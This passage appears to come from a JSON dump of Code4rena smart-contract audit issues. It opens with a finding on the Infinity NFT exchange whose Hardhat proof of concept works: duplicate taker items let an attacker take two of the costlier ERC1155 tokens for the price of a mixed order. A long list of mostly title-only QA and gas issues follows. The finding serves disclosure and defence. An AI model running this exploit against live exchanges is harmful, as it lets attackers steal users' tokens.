tokens of most expensive collections (with n times of the original amount) by paying the same price. In short, hackers can violate the user-defined orders. ## Root Cause The logic of `canExecTakeOrder` and `canExecMatchOneToMany` is not correct. __Let's `canExecTakeOrder(OrderTypes.MakerOrder calldata makerOrder, OrderTypes.OrderItem[] calldata takerItems) ` as an example, while `canExecMatchOneToMany` shares the same error.__ Specifically, it first checks whether the number of selling item in `makerOrder` matches with the ones in `takerItems`. Note that the number is an aggregated one. Then, it check whether all the items in `takerItems` are within the scope defined by `makerOrder`. The problem comes when there are duplicated items in `takerItems`. The aggregated number would be correct and all taker's Items are indeed in the order. However, it does not means `takerItems` exactly matches all items in `makerOrder`, which means violation of the order. For example, if the order requires ``` [ { collection: mock1155Contract1.address, tokens: [{ tokenId: 0, numTokens: 1 }] }, { collection: mock1155Contract2.address, tokens: [{ tokenId: 0, numTokens: 1 }] } ]; ``` and the taker provides ``` [ { collection: mock1155Contract1.address, tokens: [{ tokenId: 0, numTokens: 1 }] }, { collection: mock1155Contract1.address, tokens: [{ tokenId: 0, numTokens: 1 }] } ]; ``` The taker can grabs two `mock1155Contract1` tokens by paying the order which tries to sell a `mock1155Contract1` token and a `mock1155Contract2` token. When `mock1155Contract1` is much more expensive, the victim user will suffer from a huge loss. As for the approving issue, the users may grant the contract unlimited access, or they may have another order which sells `mock1155Contract1` tokens. The attack is easy to perform. ## Proof of Concept First put the `MockERC1155.sol` under the `contracts/` directory: ```solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.14; import {ERC1155URIStorage} from '@openzeppelin/contracts/token/ERC1155/extensions/ERC1155URIStorage.sol'; import {ERC1155} from '@openzeppelin/contracts/token/ERC1155/ERC1155.sol'; import {Ownable} from '@openzeppelin/contracts/access/Ownable.sol'; contract MockERC1155 is ERC1155URIStorage, Ownable { uint256 numMints; constructor(string memory uri) ERC1155(uri) {} function mint(address to, uint256 id, uint256 amount, bytes memory data) external onlyOwner { super._mint(to, id, amount, data); } } ``` And then put `poc.js` under the `test/` directory. ```js const { expect } = require('chai'); const { ethers, network } = require('hardhat'); const { deployContract, NULL_ADDRESS, nowSeconds } = require('../tasks/utils'); const { getCurrentSignedOrderPrice, approveERC20, grantApprovals, signOBOrder } = require('../helpers/orders'); async function prepare1155OBOrder(user, chainId, signer, order, infinityExchange) { // grant approvals const approvals = await grantApprovals(user, order, signer, infinityExchange.address); if (!approvals) { return undefined; } // sign order const signedOBOrder = await signOBOrder(chainId, infinityExchange.address, order, signer); const isSigValid = await infinityExchange.verifyOrderSig(signedOBOrder); if (!isSigValid) { console.error('Signature is invalid'); return undefined; } return signedOBOrder; } describe('PoC', function () { let signers, dev, matchExecutor, victim, hacker, token, infinityExchange, mock1155Contract1, mock1155Contract2, obComplication const sellOrders = []; let orderNonce = 0; const UNIT = toBN(1e18); const INITIAL_SUPPLY = toBN(1_000_000).mul(UNIT); const totalNFTSupply = 100; const numNFTsToTransfer = 50; const numNFTsLeft = totalNFTSupply - numNFTsToTransfer; function toBN(val) { return ethers.BigNumber.from(val.toString()); } before(async () => { // signers signers = await ethers.getSigners(); dev = signers[0]; matchExecutor = signers[1]; victim = signers[2]; hacker = signers[3]; // token token = await deployContract('MockERC20', await ethers.getContractFactory('MockERC20'), signers[0]); // NFT constracts (ERC1155) mock1155Contract1 = await deployContract('MockERC1155', await ethers.getContractFactory('MockERC1155'), dev, [ 'uri1' ]); mock1155Contract2 = await deployContract('MockERC1155', await ethers.getContractFactory('MockERC1155'), dev, [ 'uri2' ]); // Exchange infinityExchange = await deployContract( 'InfinityExchange', await ethers.getContractFactory('InfinityExchange'), dev, [token.address, matchExecutor.address] ); // OB complication obComplication = await deployContract( 'InfinityOrderBookComplication', await ethers.getContractFactory('InfinityOrderBookComplication'), dev ); // add currencies to registry await infinityExchange.addCurrency(token.address); await infinityExchange.addCurrency(NULL_ADDRESS); // add complications to registry await infinityExchange.addComplication(obComplication.address); // send assets await token.transfer(victim.address, INITIAL_SUPPLY.div(4).toString()); await token.transfer(hacker.address, INITIAL_SUPPLY.div(4).toString()); for (let i = 0; i < numNFTsToTransfer; i++) { await mock1155Contract1.mint(victim.address, i, 50, '0x'); await mock1155Contract2.mint(victim.address, i, 50, '0x'); } }); describe('StealERC1155ByDuplicateItems', () => { it('Passed test denotes successful hack', async function () { // prepare order const user = { address: victim.address }; const chainId = network.config.chainId ?? 31337; const nfts = [ { collection: mock1155Contract1.address, tokens: [{ tokenId: 0, numTokens: 1 }] }, { collection: mock1155Contract2.address, tokens: [{ tokenId: 0, numTokens: 1 }] } ]; const execParams = { complicationAddress: obComplication.address, currencyAddress: token.address }; const extraParams = {}; const nonce = ++orderNonce; const orderId = ethers.utils.solidityKeccak256(['address', 'uint256', 'uint256'], [user.address, nonce, chainId]); let numItems = 0; for (const nft of nfts) { numItems += nft.tokens.length; } const order = { id: orderId, chainId, isSellOrder: true, signerAddress: user.address, numItems, startPrice: ethers.utils.parseEther('1'), endPrice: ethers.utils.parseEther('1'), startTime: nowSeconds(), endTime: nowSeconds().add(10 * 60), nonce, nfts, execParams, extraParams }; const sellOrder = await prepare1155OBOrder(user, chainId, victim, order, infinityExchange); expect(sellOrder).to.not.be.undefined; // form matching nfts const nfts_ = [ { collection: mock1155Contract1.address, tokens: [{ tokenId: 0, numTokens: 1 }] }, { collection: mock1155Contract1.address, tokens: [{ tokenId: 0, numTokens: 1 }] } ]; // approve currency let salePrice = getCurrentSignedOrderPrice(sellOrder); await approveERC20(hacker.address, token.address, salePrice, hacker, infinityExchange.address); // perform exchange await infinityExchange.connect(hacker).takeOrders([sellOrder], [nfts_]); // owners after sale // XXX: note that the user's intention is to send mock1155Contract1 x 1 + mock1155Contract2 x 1 // When mock1155Contract1 is much more expensive than mock1155Contract2, user suffers from huge loss expect(await mock1155Contract1.balanceOf(hacker.address, 0)).to.equal(2); }); }); }); ``` And run ```bash $ npx hardhat test --grep PoC PoC StealERC1155ByDuplicateItems \u2713 Passed test denotes successful hack ``` Note that the passed test denotes a successful hack. ## Tools Used Manual inspection. ## Recommended Mitigation Steps I would suggest a more gas-consuming approach by hashing all the items and putting them into a list. Then checking whether the lists match. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/7", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/6", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/5", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Agreement & Disclosures", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/1", "labels": [], "target": "2022-06-infinity-findings", "body": "Agreement & Disclosures"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/99", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-06-nested-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/98", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-06-nested-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/97", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-06-nested-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/96", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "valid"], "target": "2022-06-nested-findings", "body": "QA Report"}, {"title": "Low level calls with solidity version 0.8.14 can result in optimiser bug.", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/94", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "valid"], "target": "2022-06-nested-findings", "body": "Low level calls with solidity version 0.8.14 can result in optimiser bug."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/93", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-06-nested-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/91", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-06-nested-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/89", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-06-nested-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/87", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-06-nested-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/85", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-06-nested-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/84", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "valid"], "target": "2022-06-nested-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/82", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "valid"], "target": "2022-06-nested-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/81", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-06-nested-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/77", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-06-nested-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/76", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "valid"], "target": "2022-06-nested-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/75", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "valid"], "target": "2022-06-nested-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/73", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "valid"], "target": "2022-06-nested-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/72", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "valid"], "target": "2022-06-nested-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/71", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "valid"], "target": "2022-06-nested-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/70", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "valid"], "target": "2022-06-nested-findings", "body": "QA Report"}, {"title": "User can bypass entryFee by sending arbitrary calldata to ParaSwap operator", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/69", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged", "valid"], "target": "2022-06-nested-findings", "body": "User can bypass entryFee by sending arbitrary calldata to ParaSwap operator"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/68", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "valid"], "target": "2022-06-nested-findings", "body": "Gas Optimizations"}, {"title": "`OwnerProxy` can call `selfdestruct()`", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/67", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor disputed", "valid"], "target": "2022-06-nested-findings", "body": "`OwnerProxy` can call `selfdestruct()`"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/63", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "valid"], "target": "2022-06-nested-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/62", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "valid"], "target": "2022-06-nested-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/61", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "valid"], "target": "2022-06-nested-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/58", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "valid"], "target": "2022-06-nested-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/57", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-06-nested-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/53", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "valid"], "target": "2022-06-nested-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/50", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "valid"], "target": "2022-06-nested-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/49", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "valid"], "target": "2022-06-nested-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/45", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "valid"], "target": "2022-06-nested-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/44", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-06-nested-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/43", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-06-nested-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/42", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-06-nested-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/40", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "valid"], "target": "2022-06-nested-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/39", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-06-nested-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/34", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "valid"], "target": "2022-06-nested-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/33", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-06-nested-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/32", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-06-nested-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/29", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "valid"], "target": "2022-06-nested-findings", "body": "Gas Optimizations"}, {"title": "NestedFactory: Manipulations of setExitFees and setEntryFees", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/26", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "valid"], "target": "2022-06-nested-findings", "body": "NestedFactory: Manipulations of setExitFees and setEntryFees"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/25", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-06-nested-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/18", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-06-nested-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/11", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "valid"], "target": "2022-06-nested-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/9", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-06-nested-findings", "body": "Gas Optimizations"}, {"title": "Unchecked return value of transferFrom can allow a user to withdraw native token for free", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/8", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "valid"], "target": "2022-06-nested-findings", "body": "Unchecked return value of transferFrom can allow a user to withdraw native token for free"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/6", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-06-nested-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/3", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-06-nested-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/2", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-06-nested-findings", "body": "Gas Optimizations"}, {"title": "Agreement & Disclosures", "html_url": "https://github.com/code-423n4/2022-06-nested-findings/issues/1", "labels": [], "target": "2022-06-nested-findings", "body": "Agreement & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/322", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/321", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/320", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "Basket NFT have no name and symbol", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/317", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-nibbl/blob/8c3dbd6adf350f35c58b31723d42117765644110/contracts/Basket.sol#L13 https://github.com/code-423n4/2022-06-nibbl/blob/8c3dbd6adf350f35c58b31723d42117765644110/contracts/Basket.sol#L6 # Vulnerability details ## Impact The `Basket` contract is intended to be used behind a proxy. But the `ERC721` implementation used is not upgradeable, and its constructor is called at deployment time on the implementation. So all proxies will have a void name and symbol, breaking all potential integrations and listings. ## Proof of Concept `ERC721(\"NFT Basket\", \"NFTB\")` is called at deployment time, and sets private variable at the implementation level. Therefore when loading the code during `delegateCall`, these variables will not be initialized. ## Recommended Mitigation Steps The easiest mitigation would be to pass this variable as immutable so they are hardcoded in the implementation byte code. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/316", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/315", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/314", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/312", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/311", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/310", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/309", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/307", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "withdrawERC20 does not work on non-standard compliant tokens like USDT.", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/299", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-nibbl-findings", "body": "withdrawERC20 does not work on non-standard compliant tokens like USDT."}, {"title": "Use .call instead of .transfer", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/298", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-nibbl-findings", "body": "Use .call instead of .transfer"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/297", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/296", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/295", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/294", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/293", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/290", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "Timelocks are ineffective without event emissions.", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/289", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "Timelocks are ineffective without event emissions."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/288", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/287", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/286", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/285", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/284", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/283", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/282", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/281", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/280", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/279", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "NibblVault buyout duration longer than update timelock", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/278", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "NibblVault buyout duration longer than update timelock"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/277", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "[PNM-004] Calculation of `_secondaryReserveRatio` can be overflowed", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/273", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "[PNM-004] Calculation of `_secondaryReserveRatio` can be overflowed"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/270", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/265", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "[PNM-001] Function `permit` directly uses `_approve`, suffering from the well-known double attacks", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/264", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "[PNM-001] Function `permit` directly uses `_approve`, suffering from the well-known double attacks"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/259", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/258", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/256", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/255", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/252", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": " `_updateTwav()` and `_getTwav()` will revert when cumulativePrice overflows", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/246", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": " `_updateTwav()` and `_getTwav()` will revert when cumulativePrice overflows"}, {"title": "use of transfer instead of call() to send eth", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/245", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-nibbl-findings", "body": "use of transfer instead of call() to send eth"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/242", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/241", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-06-nibbl-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/240", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/239", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-nibbl-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-nibbl-findings/issues/238", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": 